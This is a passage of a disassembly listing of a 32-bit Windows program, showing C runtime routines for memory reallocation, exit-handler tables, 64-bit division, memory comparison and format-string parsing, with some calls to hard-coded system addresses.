		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_418BC2
		cmp	edi, ebx
		jb	short loc_418BC2
		cmp	[ebp+arg_C], 0
		jz	short loc_418B9F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_418B88
		mov	edi, esi


loc_418B88:				; CODE XREF: sub_418AA8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C3DC
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_418B9F:				; CODE XREF: sub_418AA8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_418BEA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_418BAF
		mov	esi, eax


loc_418BAF:				; CODE XREF: sub_418AA8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C3DC
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_418BEA
; ---------------------------------------------------------------------------


loc_418BC2:				; CODE XREF: sub_418AA8+CCj
					; sub_418AA8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_418BE0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_418BD1
		mov	esi, eax


loc_418BD1:				; CODE XREF: sub_418AA8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C3DC
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_418BE0:				; CODE XREF: sub_418AA8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_418BEA
		and	byte ptr [eax],	0


loc_418BEA:				; CODE XREF: sub_418AA8+FCj
					; sub_418AA8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418AA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BEF	proc near		; CODE XREF: sub_40C56B+19p
					; sub_40DBCA+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419343
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_418C2D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_418C3A
; ---------------------------------------------------------------------------


loc_418C2D:				; CODE XREF: sub_418BEF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_418C3A:				; CODE XREF: sub_418BEF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C3F	proc near		; CODE XREF: sub_40C7FB+2Ep
					; sub_4200EA+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_418C5A
		push	[esp+10h+arg_4]
		call	sub_417BEE
		pop	ecx
		jmp	loc_418D5A
; ---------------------------------------------------------------------------


loc_418C5A:				; CODE XREF: sub_418C3F+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_418C70
		push	ebx
		call	sub_417C62
		pop	ecx


loc_418C69:				; CODE XREF: sub_418C3F+114j
		xor	eax, eax
		jmp	loc_418D5A
; ---------------------------------------------------------------------------


loc_418C70:				; CODE XREF: sub_418C3F+21j
					; sub_418C3F+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_418D3B
		push	ebx
		call	sub_419C57
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_418D18
		cmp	esi, dword_43B7BC
		ja	short loc_418CD8
		push	esi
		push	ebx
		push	ebp
		call	sub_41A462
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418CA7
		mov	edi, ebx
		jmp	short loc_418CD0
; ---------------------------------------------------------------------------


loc_418CA7:				; CODE XREF: sub_418C3F+62j
		push	esi
		call	sub_419FAD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_418CD8
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_418CBE
		mov	eax, esi


loc_418CBE:				; CODE XREF: sub_418C3F+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_417490
		push	ebx
		push	ebp
		call	sub_419C82
		add	esp, 14h


loc_418CD0:				; CODE XREF: sub_418C3F+66j
		test	edi, edi
		jnz	loc_418D58


loc_418CD8:				; CODE XREF: sub_418C3F+53j
					; sub_418C3F+73j
		test	esi, esi
		jnz	short loc_418CDF
		push	1
		pop	esi


loc_418CDF:				; CODE XREF: sub_418C3F+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C9105D4h
		mov	edi, eax
		test	edi, edi
		jz	short loc_418D3B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_418D04
		mov	eax, esi


loc_418D04:				; CODE XREF: sub_418C3F+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_417490
		push	ebx
		push	ebp
		call	sub_419C82
		add	esp, 14h
		jmp	short loc_418D37
; ---------------------------------------------------------------------------


loc_418D18:				; CODE XREF: sub_418C3F+47j
		test	esi, esi
		jnz	short loc_418D1F
		push	1
		pop	esi


loc_418D1F:				; CODE XREF: sub_418C3F+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C9179FDh
		mov	edi, eax


loc_418D37:				; CODE XREF: sub_418C3F+D7j
		test	edi, edi
		jnz	short loc_418D58


loc_418D3B:				; CODE XREF: sub_418C3F+36j
					; sub_418C3F+B9j
		cmp	dword_5158DC, 0
		jz	short loc_418D58
		push	esi
		call	sub_419BC2
		test	eax, eax
		pop	ecx
		jnz	loc_418C70
		jmp	loc_418C69
; ---------------------------------------------------------------------------


loc_418D58:				; CODE XREF: sub_418C3F+93j
					; sub_418C3F+FAj ...
		mov	eax, edi


loc_418D5A:				; CODE XREF: sub_418C3F+16j
					; sub_418C3F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_418C3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D5F	proc near		; CODE XREF: ___:00418F73p
					; DATA XREF: ___:off_43B578o
		call	sub_418D77
		call	sub_41C4B6
		mov	dword_515880, eax
		call	sub_41C466
		fnclex
		retn
sub_418D5F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_418D77	proc near		; CODE XREF: sub_418D5Fp
		mov	eax, offset sub_41C8A4
		mov	off_43B8CC, offset sub_41C539
		mov	off_43B8C8, eax
		mov	off_43B8D0, offset sub_41C59F
		mov	off_43B8D4, offset sub_41C4DF
		mov	off_43B8D8, offset sub_41C587
		mov	off_43B8DC, eax
		retn
sub_418D77	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DAF	proc near		; CODE XREF: sub_40D5A0+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 7C81153Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418DCF
		nop
		call	near ptr 7C910331h
		push	eax
		call	sub_41C91A
		pop	ecx


loc_418DCB:				; CODE XREF: sub_418DAF+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_418DCF:				; CODE XREF: sub_418DAF+Dj
		test	al, 1
		jz	short loc_418DF0
		test	[esp+arg_4], 2
		jz	short loc_418DF0
		mov	dword_515884, 0Dh
		mov	dword_515888, 5
		jmp	short loc_418DCB
; ---------------------------------------------------------------------------


loc_418DF0:				; CODE XREF: sub_418DAF+22j
					; sub_418DAF+29j
		xor	eax, eax
		retn
sub_418DAF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_40D6CA+5Fp
					; sub_40D6CA+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_418E21
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_418E21:				; CODE XREF: sub_418E00+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_418E3D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_418E3D:				; CODE XREF: sub_418E00+27j
		or	eax, eax
		jnz	short loc_418E59
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_418E9A
; ---------------------------------------------------------------------------


loc_418E59:				; CODE XREF: sub_418E00+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_418E67:				; CODE XREF: sub_418E00+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_418E67
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_418E95
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_418E95
		jb	short loc_418E96
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_418E96


loc_418E95:				; CODE XREF: sub_418E00+85j
					; sub_418E00+8Bj
		dec	esi


loc_418E96:				; CODE XREF: sub_418E00+8Dj
					; sub_418E00+93j
		xor	edx, edx
		mov	eax, esi


loc_418E9A:				; CODE XREF: sub_418E00+57j
		dec	edi
		jnz	short loc_418EA4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_418EA4:				; CODE XREF: sub_418E00+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_418E00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418EB0	proc near		; CODE XREF: sub_40DA24+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_418EFC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_418EFD
		test	eax, 1
		jz	short loc_418EDD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_418F2A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_418EFA


loc_418EDD:				; CODE XREF: sub_418EB0+20j
					; sub_418EB0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_418F2A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_418F2A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_418EDD


loc_418EFA:				; CODE XREF: sub_418EB0+2Bj
					; sub_418EB0+84j
		pop	edi
		pop	esi

locret_418EFC:				; CODE XREF: sub_418EB0+6j
		retn
; ---------------------------------------------------------------------------


loc_418EFD:				; CODE XREF: sub_418EB0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_418F32
		repe cmpsd
		jz	short loc_418F32
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_418F25
		cmp	ch, dh
		jnz	short loc_418F25
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_418F25
		cmp	ch, dh


loc_418F25:				; CODE XREF: sub_418EB0+63j
					; sub_418EB0+67j ...
		mov	eax, 0


loc_418F2A:				; CODE XREF: sub_418EB0+26j
					; sub_418EB0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418F32:				; CODE XREF: sub_418EB0+55j
					; sub_418EB0+59j
		test	eax, eax
		jz	short loc_418EFA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_418F25
		dec	eax
		jz	short loc_418F59
		cmp	dh, ch
		jnz	short loc_418F25
		dec	eax
		jz	short loc_418F59
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_418F25
		dec	eax


loc_418F59:				; CODE XREF: sub_418EB0+8Fj
					; sub_418EB0+96j
		pop	edi
		pop	esi
		retn
sub_418EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418F5C	proc near		; CODE XREF: sub_40E14E+3Fp
					; sub_40E220+27p

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417C00
		pop	ecx
		pop	ecx
		retn
sub_418F5C	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43B578
		test	eax, eax
		jz	short loc_418F75
		call	eax ; sub_418D5F


loc_418F75:				; CODE XREF: ___:00418F71j
		push	offset dword_423018
		push	offset dword_42300C
		call	sub_419052
		push	offset dword_423008
		push	offset dword_423000
		call	sub_419052
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_418FB9
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418FA8	proc near		; CODE XREF: sub_4191E5+1Cp
					; DATA XREF: ___:off_43B590o

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_418FB9
		add	esp, 0Ch
		retn
sub_418FA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FB9	proc near		; CODE XREF: ___:00418F9Fp
					; sub_418FA8+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_5158CC, edi
		jnz	short loc_418FD6
		push	[esp+4+arg_0]
		nop
		call	near ptr 7C80DDF5h
		push	eax
		nop
		call	near ptr 7C801E16h


loc_418FD6:				; CODE XREF: sub_418FB9+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_5158C8, edi
		mov	byte_5158C4, bl
		jnz	short loc_41902A
		mov	eax, dword_516ED4
		test	eax, eax
		jz	short loc_419019
		mov	ecx, dword_516ED0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419018


loc_419005:				; CODE XREF: sub_418FB9+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41900D
		call	eax


loc_41900D:				; CODE XREF: sub_418FB9+50j
		sub	esi, 4
		cmp	esi, dword_516ED4
		jnb	short loc_419005


loc_419018:				; CODE XREF: sub_418FB9+4Aj
		pop	esi


loc_419019:				; CODE XREF: sub_418FB9+3Cj
		push	offset dword_423024
		push	offset dword_42301C
		call	sub_419052
		pop	ecx
		pop	ecx


loc_41902A:				; CODE XREF: sub_418FB9+33j
		push	offset dword_42302C
		push	offset dword_423028
		call	sub_419052
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419050
		push	[esp+4+arg_0]
		mov	dword_5158CC, edi
		nop
		call	near ptr 7C81CDDAh


loc_419050:				; CODE XREF: sub_418FB9+85j
		pop	edi
		retn
sub_418FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419052	proc near		; CODE XREF: ___:00418F7Fp
					; ___:00418F8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419057:				; CODE XREF: sub_419052+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41906A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419065
		call	eax


loc_419065:				; CODE XREF: sub_419052+Fj
		add	esi, 4
		jmp	short loc_419057
; ---------------------------------------------------------------------------


loc_41906A:				; CODE XREF: sub_419052+9j
		pop	esi
		retn
sub_419052	endp


; =============== S U B	R O U T	I N E =======================================



sub_41906C	proc near		; CODE XREF: sub_40F6F1+2CBCp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 7C831EABh
		test	eax, eax
		jnz	short loc_419082
		nop
		call	near ptr 7C910331h
		jmp	short loc_419084
; ---------------------------------------------------------------------------


loc_419082:				; CODE XREF: sub_41906C+Cj
		xor	eax, eax


loc_419084:				; CODE XREF: sub_41906C+14j
		test	eax, eax
		jz	short loc_419093
		push	eax
		call	sub_41C91A
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419093:				; CODE XREF: sub_41906C+1Aj
		xor	eax, eax
		retn
sub_41906C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419096	proc near		; CODE XREF: sub_40F6F1+2C13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C981
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419343
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41CA0E
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_419096	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190C8	proc near		; CODE XREF: sub_415EF7+24p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4190C8	endp

; ---------------------------------------------------------------------------
		db 0E1h
		dd 22A560DCh, 60B2888h,	0CD819B71h, 6B8D8548h, 9F52448Eh
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0BFE890E8h, 337C3F80h,	89D48AD2h
		dd 51589C15h, 81C88B00h, 0FFE1h, 980D8900h, 0C1005158h
		dd 0CA0308E1h, 58940D89h, 0E8C10051h, 5890A310h, 0F6330051h
		dd 0A8FE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
		dd 0FCE8FC75h, 9000003Eh, 3F9DB4E8h, 6EC4A37Ch,	0BAE80051h
		dd 0A300003Dh, 5158D0h,	3B63E8h, 3AA5E800h, 0E3E80000h
		dd 89FFFFFDh, 458DD075h, 0E89050A4h, 7C3E8D5Ah,	3A36E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0EAE89056h, 507C3F24h, 0FF5A6EE8h, 0A04589FFh
		dd 0FDD1E850h, 458BFFFFh, 8B088BECh, 984D8909h,	74E85150h
		dd 59000038h, 658BC359h, 9875FFE8h, 0FFFDC3E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_4191E5	proc near		; CODE XREF: ___:0041CC75p
					; ___:0041CCA4p ...

arg_0		= dword	ptr  4

		cmp	dword_5158D8, 1
		jnz	short loc_4191F3
		call	sub_41D3DC


loc_4191F3:				; CODE XREF: sub_4191E5+7j
		push	[esp+arg_0]
		call	sub_41D415
		push	0FFh
		call	off_43B590
		pop	ecx
		pop	ecx
		retn
sub_4191E5	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_5158D8
		dd 0E8057501h, 41C4h, 42474FFh,	41F4E8h, 0FF685900h, 90000000h
		dd 403BADE8h
		db 7Ch,	0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41922E	proc near		; CODE XREF: sub_4173AC+46p
					; sub_41792A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419337
		test	al, 40h
		jnz	loc_419337
		test	al, 1
		jz	short loc_419266
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419337
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419266:				; CODE XREF: sub_41922E+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_4192A0
		cmp	esi, offset dword_43BB98
		jz	short loc_41928E
		cmp	esi, offset dword_43BBB8
		jnz	short loc_419299


loc_41928E:				; CODE XREF: sub_41922E+56j
		push	ebx
		call	sub_41D5AC
		test	eax, eax
		pop	ecx
		jnz	short loc_4192A0


loc_419299:				; CODE XREF: sub_41922E+5Ej
		push	esi
		call	sub_41D568
		pop	ecx


loc_4192A0:				; CODE XREF: sub_41922E+4Ej
					; sub_41922E+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41930D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_4192D0
		push	edi
		push	eax
		push	ebx
		call	sub_41BE4F
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419303
; ---------------------------------------------------------------------------


loc_4192D0:				; CODE XREF: sub_41922E+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4192EB
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_516B80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_4192F0
; ---------------------------------------------------------------------------


loc_4192EB:				; CODE XREF: sub_41922E+A5j
		mov	eax, offset dword_43BAD0


loc_4192F0:				; CODE XREF: sub_41922E+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419303
		push	2
		push	0
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch


loc_419303:				; CODE XREF: sub_41922E+A0j
					; sub_41922E+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419321
; ---------------------------------------------------------------------------


loc_41930D:				; CODE XREF: sub_41922E+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41BE4F
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419321:				; CODE XREF: sub_41922E+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41932D
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41933C
; ---------------------------------------------------------------------------


loc_41932D:				; CODE XREF: sub_41922E+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41933F
; ---------------------------------------------------------------------------


loc_419337:				; CODE XREF: sub_41922E+10j
					; sub_41922E+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41933C:				; CODE XREF: sub_41922E+FDj
		or	eax, 0FFFFFFFFh


loc_41933F:				; CODE XREF: sub_41922E+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41922E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419343	proc near		; CODE XREF: sub_4173AC+29p
					; sub_41792A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_419A5C
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419377
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_419343+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419377:				; CODE XREF: sub_419343+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_419A5C
		cmp	bl, 20h
		jl	short loc_419398
		cmp	bl, 78h
		jg	short loc_419398
		movsx	eax, bl
		mov	al, byte_42160C[eax]
		and	eax, 0Fh
		jmp	short loc_41939A
; ---------------------------------------------------------------------------


loc_419398:				; CODE XREF: sub_419343+40j
					; sub_419343+45j
		xor	eax, eax


loc_41939A:				; CODE XREF: sub_419343+53j
		movsx	eax, byte_42162C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_419A4B	; default
		jmp	off_419A64[eax*4] ; switch jump


loc_4193B8:				; DATA XREF: ___:off_419A64o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 004193B1 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4193D3:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		movsx	eax, bl		; jumptable 004193B1 case 2
		sub	eax, 20h
		jz	short loc_419416
		sub	eax, 3
		jz	short loc_41940D
		sub	eax, 8
		jz	short loc_419404
		dec	eax
		dec	eax
		jz	short loc_4193FB
		sub	eax, 3
		jnz	loc_419A4B	; default
		or	[ebp+var_4], 8
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4193FB:				; CODE XREF: sub_419343+A4j
		or	[ebp+var_4], 4
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419404:				; CODE XREF: sub_419343+A0j
		or	[ebp+var_4], 1
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_41940D:				; CODE XREF: sub_419343+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419416:				; CODE XREF: sub_419343+96j
		or	[ebp+var_4], 2
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_41941F:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		cmp	bl, 2Ah		; jumptable 004193B1 case 3
		jnz	short loc_419447
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_419A4B	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41943F:				; CODE XREF: sub_419343+111j
		mov	[ebp+var_20], eax
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419447:				; CODE XREF: sub_419343+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41943F
; ---------------------------------------------------------------------------


loc_419456:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		mov	[ebp+var_10], edx ; jumptable 004193B1 case 4
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_41945E:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		cmp	bl, 2Ah		; jumptable 004193B1 case 5
		jnz	short loc_419481
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_419A4B	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_419A4B	; default
